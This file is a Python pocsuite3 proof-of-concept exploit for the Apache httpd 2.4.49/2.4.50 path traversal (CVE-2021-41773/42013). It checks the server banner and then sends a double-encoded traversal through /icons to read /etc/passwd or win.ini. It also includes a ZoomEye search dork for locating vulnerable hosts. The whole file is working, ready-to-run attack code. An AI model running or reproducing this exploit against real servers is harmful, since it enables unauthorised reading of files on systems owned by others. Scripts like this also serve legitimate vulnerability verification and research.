#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import urllib
from pocsuite3.api import (
    Output, POCBase, register_poc, requests
)


class TestPOC(POCBase):
    vulID = '99364'
    version = '1.0'
    author = ['fenix']
    vulDate = '2021-10-08'
    createDate = '2021-10-08'
    updateDate = '2021-10-08'
    references = ['https://www.seebug.org/vuldb/ssvid-99364']
    name = 'apache httpd dir traversal rce (cve-2021-41773/cve-2021-42013)'
    appPowerLink = 'https://httpd.apache.org'
    appName = 'apache httpd'
    appVersion = '2.4.49, 2.4.50'
    vulType = 'dir-traversal'
    dork = {'zoomeye': '"Apache/2.4.49" "Apache/2.4.50"'}
    desc = ''
    samples = ['']
    install_requires = []

    def _check(self):
        self.url = self.url.rstrip('/')
        res = requests.get(
            self.url,
            timeout=10,
            verify=False,
            allow_redirects=False
        )
        if 'Apache/2.4.49' in str(res.headers):
            return True
        elif 'Apache/2.4.50' in str(res.headers):
            return True
        return False

    def _arbitrary_file_read(self, filepath='/etc/passwd'):
        res = b''
        filepath = '/.%%32%65' * 10 + filepath
        try:
            req = urllib.request.Request(
                f'{self.url}/icons{filepath}',
            )
            res = urllib.request.urlopen(req).read()
        except Exception:
            pass
        return res

    def _verify(self):
        result = {}
        if not self._check():
            return self.parse_output(result)
        for i in ['/etc/passwd', '/windows/win.ini']:
            res = self._arbitrary_file_read(i)
            if b':/bin' in res or b'[fonts]' in res:
                result['VerifyInfo'] = {}
                result['VerifyInfo']['URL'] = self.url
                result['VerifyInfo'][i] = res.decode()
                break
        return self.parse_output(result)

    def _attack(self):
        return self._verify()

    def _shell(self):
        return self._verify()

    def parse_output(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('Internet nothing returned')
        return output


register_poc(TestPOC)
